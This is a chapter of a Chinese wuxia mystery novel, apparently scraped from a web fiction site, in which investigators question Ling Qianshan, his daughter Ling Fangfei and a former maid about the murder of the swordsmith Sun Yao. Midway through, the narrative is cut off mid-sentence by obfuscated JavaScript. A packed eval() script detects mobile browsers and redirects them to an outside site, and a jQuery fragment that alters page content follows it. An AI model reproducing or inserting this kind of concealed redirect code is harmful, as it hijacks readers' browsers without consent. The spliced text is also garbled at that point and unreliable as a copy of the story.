紫檀木簪上的小字正是凌芳菲的名字。
杨元贞一眼认出,又拿过木簪示意凌千山,“你看,此样式的木簪,我似见芳菲戴过,这等私物怎会在孙尧这里?难道阁中的传言竟是真的?”
杨元贞乃门中长辈,说话自无顾忌,便见凌千山面上青红交加,神容尴尬。
见众人都瞧着自己,他无奈道:“罢了,出这么大的事,我便是不想提也得说个明白了,这确是芳菲的簪子——”
“前岁冬初,她忽然跑去铸造宗说要修铸剑术,当时我便觉奇怪,但因自小宠她,便也由着她了。可没过多久,我发现她和孙尧走的很近,起初我也不想插手的,可后来她竟在我面前提,说要退了苍梧派的婚事。”
杨元贞一愕,“退婚?这可不好退啊,苍梧派遭了那般大难,我们若是悔婚,岂非有负当年贺掌门夫妇所托?实有违武林道义!”
乾元二十二年,苍梧派被血衣楼灭门,掌门贺擎与夫人顾婉清血战而亡,其长子贺行云与满门长老、弟子皆被谋害,唯独不在门中的小儿子贺行舟躲过一劫。
贺家与凌家的婚事在二人幼时便定下,后来贺行舟虽继任掌门,苍梧派却已彻底没落,凌家若此时生退婚之念,自会为武林所不齿。
凌千山便道:“师叔所言便是我当时所想,她提退婚,我自然不允,她于是闹起脾气整日在铸造宗打铁,连她母亲重病也少来探望。后来我实在没了法子,才将她关起来,可她性情实在太烈,后来种种,哎……”
听凌千山说至此,谢雪濯与薛婵对视一眼,原来魏峥说的传言竟有八九分是真的!凌芳菲是当真与别人有了私情?
谢雪濯便问:“那凌阁主可知她钟意之人是孙尧?”
凌千山苦笑,“我虽未细查,却也发现了些端倪,当时孙尧刚铸出‘追影’剑,我看他天赋过人,只怕以后铸造宗也要交到他手上……再加上二人还未到私相授受一步,便不忍责难他。也幸而芳菲被关起来后,他也未敢做何出格之举,否则我还不好决断。”
见大家还看着自己,凌千山摊手道:“此事当时我未动声色,都这么久了就更不可能恨他害他,芳菲也早就回心转意,我没道理害铸造宗最好的苗子。”
凌千山此言还算坦诚,薛婵道:“如今多事之秋,凌阁主想对付他,确不至于选在这个时候。能如此费尽心思谋害,凶手的动机定是极重大之事,此事隐秘,说不定威胁到了凶手性命,逼得凶手不得不出手。而凶手刚好看到前一天曲长老因暴炉受伤,便效仿此法杀了孙尧——”
齐甫言道:“可孙师弟一心扑在铸剑术上,有什么能威胁他人的?”
薛婵深长道:“万一知道了什么见不得光的秘密呢?”
杨元贞眉头急皱,“你这丫头,我们洗剑阁能有什么见不得光的事?哎,但要说不是什么秘事,凶手又怎能杀了他呢?”
杨元贞无法说服自己,急得直扣脑门,谢雪濯这时道:“既如此,还需要去见一见凌姑娘,不知可否方便?”
凌千山蹙眉道:“最近一年多他们一句话都没说过,她与这案子不可能有关系。”
谢雪濯摇头,“并非怀疑凌姑娘,只是万一孙尧有何难言之隐只对她提过,或许对破案有所帮助。”
凌千山犹豫一瞬,妥协道:“罢了,她这两日精神好,应能答问,那就走一趟吧,她如今随我和她母亲住在槿园里。”
孙尧私物寥寥,一览无余,既与凌芳菲有过情谊,那自是要看看她的反应,一行人离开拭剑轩东厢,刚要出院门,撞上燕真和叶裁霜自外走进来。
叶裁霜才知孙尧遇害之事,此刻眼眶通红,得知要去见凌芳菲便也随之同行。
燕真则到谢雪濯身边道:“几处客院都问完了,昨夜丑时后,大家都有互相作证的人证,没有人擅自离开过,我留了人在前守着,若有异常再来禀报。”
谢雪濯颔首,出得拭剑轩,直奔最北面的槿园。
-
“这槿园原是一片废弃园圃,当年千山要娶槿儿之前,将此处开辟出来,种满了木槿花,迎娶之日也定在盛夏木槿繁茂之时,可惜她身子欠佳,这两年都没怎么出来瞧过木槿花开的热闹……”
槿园在最北面,做为阁主居处略显偏僻了些,但刚走近,便见此园花木繁茂,有种遗世独立的况味,待入院门,又见木槿林中遍植药草,药香与草木香袭人。
杨元贞继续道:“槿儿是药王谷二小姐,医术不逊于百药门白门主,只可惜医者不能自医,算是亘古的遗憾了,她这两日如何?还是不能见风?”
凌千山点头,“别说不能见风,一点儿灰尘杂絮都要咳上许久,人也昏睡的多了。芳菲住在西院,这会儿只怕已知道孙尧出事了——”
凌芳菲确实已经知道了,众人到西院上房时,房内灯火通明,凌芳菲着一袭淡紫色绣裙,墨发如云,纤秀温婉,双眼发红地歪在窗前榻上,正是才哭完。
得知谢雪濯来意,她遗憾道:“请恕我爱莫能助了,我和诸位师兄一起长大,当时我去铸造宗时得他多番照顾,但后来……后来我在槿园照顾母亲,这一年里照面都未打过,他有何难言之隐我实在不知,更想不出有谁会害死他。”
凌芳菲目光清澈,语气坚定,并无丝毫有话难言之感。
谢雪濯便又问:“你们既是一起长大的,他可有何易惹是非的嗜好?”
闻言凌芳菲沉默下来,眼底闪过一抹怜惜,“他入洗剑阁十二年,勤修苦学,只一心为光大洗剑阁铸剑一道,他唯一的嗜好便是铸剑,也从不招惹是非。”
谢雪濯又看向凌千山和叶裁霜几人,“他在洗剑阁这么久,也从未违过阁中规矩?”
叶裁霜摇头,“没有过的,他是最勤勉听话的孩子,不仅他师父喜欢他,便是我们几个也指望着他接曲老的位子呢——”
凌千山附和点头,谢雪濯和薛婵都有些失望,这一趟过来竟是毫无所获,而凌芳菲坦然脆弱的模样,也让人不忍心苛责质疑她。
见再无话可问,凌芳菲擦了擦眼角道:“抱歉了,我实在帮不上忙,母亲还等着我喂药,就不多陪你们了。”
凌芳菲说着先走一步,门口守着的紫衣婢女也一同离去,凌千山也唏嘘道:“要劳烦少盟主好生查问了,拙荆如今吃药都十分困难,我也得去看着,裁霜,景和,你们帮着点他们……”
叶裁霜和凌景和自是应好,凌千山便也往正院行去,他们父女一走,薛婵一行也只得先离开槿园。
出了园子,薛婵唏嘘道:“一个完美无缺的老实人,凶手为何谋害他呢?”
燕真在旁听得半晌,忍不住道:“会不会是他的天赋遭人嫉妒呢?”
凌景和忙道:“齐师兄他们几个都是苦命人家拜入洗剑阁的,心性都十分板正,哪怕看着小师弟得了师父器重,也从不因嫉妒生恨。”
燕真顺嘴道,“难道只有师兄嫉妒?师父就不嫉妒?孙尧才二十出头,就已经铸出了一把小有名气的追影剑,再有几年岂不彻底超过曲长老?”
杨元贞听得吹胡子瞪眼,“你这孩子,这世上哪有师父嫉妒徒弟的?曲沧可不是那样心胸狭隘之人!他这人说起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232499|180417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,年轻时比孙尧还能吃苦,对铸剑术一道更是赤子之心,便是让他一把老骨头折在铸剑术上都不算什么,且他其实已经算得道了,只不过铸剑的每一环都要看天意,他只是差了点时运罢了。”
燕真摇头道:“前辈息怒,晚辈这话可不是胡说的,十二年前,九黎派的何掌门便是因嫉妒徒弟比自己天赋更高,才害了徒儿全家,这案子是我父亲查办,我清楚得很,还有七年前金刀派也……”
燕真对父亲的英勇事迹滔滔不绝,薛婵则在细想凌芳菲适才神情。
她这辈子未动过春心,也不知那是什么滋味,可瞧凌芳菲的模样,虽有伤心,却似乎不太像为旧日情郎悲痛,她一时咂摸不清,脚步也慢了下来,这么一错神功夫,她忽地瞟见远处芭蕉丛里猫着一道身影。
她秀眉一竖,“谁在那里?!”
出口的瞬间谢雪濯已急掠过去,一声惊呼,一个青色衣裙的姑娘被谢雪濯逼吓了出来,看清来人,叶裁霜意外道:“碧云?怎是你?”
见叶裁霜在此,这叫碧云的姑娘忙碎步上前见礼。
叶裁霜介绍道:“这是芳菲从前的侍婢,芳菲去岁被禁足时,碧云帮着她出逃做错了事,便被罚去阁中花房当差了——”
她又问:“你怎么躲在这里?”
碧云满面惊惶,怯怯道:“我……我想来看看小姐,我听说孙师兄出事了……我错了叶长老,我不敢了,我这就回去——”
叶裁霜语重心长道:“芳菲如今精神刚好,你就不要再提以前的事了,再出一次事,谁都保不住你,你明白吗?”
碧云不住点头,行的一礼转身便跑。
薛婵挑了挑眉,“怎么她在知道孙尧出事之后,第一时间来找凌姑娘?”
叶裁霜叹气道:“她们主仆当时同去铸造宗,都与孙尧十分熟稔。其实少年男女们的事,也就那么一瞬间,后来芳菲是真的再没心思了,这事也就过去了。我也可保证,孙尧之死一定和芳菲无关。”
薛婵不置可否,杨元贞在旁道:“丫头,你一看就是不懂情爱的,这世间情爱,深的有,比如千山和槿儿,但更多的是来得快去得也快。哎,孙尧那里你们去处置吧,小老儿我是看不得一点,出了这等事,我得立刻去祖师爷跟前请罪一声——”
杨元贞说着也大步离去,薛婵无奈道:“得,这下是一点儿头绪也没了。”
凌景和看向谢雪濯道:“少盟主如何安排?孙尧的遗体得尽快装殓吧,剑炉地底下有暗泉,坊内也比别处温热,只怕保存不了几日。”
洗剑阁铸剑术高明,只那连着风箱的水力风囊就颇为机巧,谢雪濯道:“今夜便可装殓尸体,但其他物件最好不要破坏。”
凌景和面露迟疑,“只怕曲师叔等不了太久。”
见几人不解,凌景和道:“曲师叔这个月是一定要锻出一把新剑的,新到的那批精铁石曲师叔等了六月,并且这个月的月末似是个特殊日子,曲师叔一早就定好了要在那天淬火开刃。淬火在打磨抛光前,乃是一把剑成败最关键的一环,曲师叔不会改期的。”
谢雪濯听得生疑,“什么特殊日子?”
薛婵也道:“他受了重伤,如今又死了徒儿,难道还能心无旁骛的继续铸剑吗?”
凌景和面露难色,“我于铸剑术造诣不高,也不知详细。”
说至此,他表情古怪起来,“自四年前万灵山之战后,曲师叔铸剑就十分看重吉日吉时之说,刚好千翎门蒋门主会风水问卜,曲师叔经常请他帮忙,这一次的吉日便是蒋门主过年之前就帮着定好的……”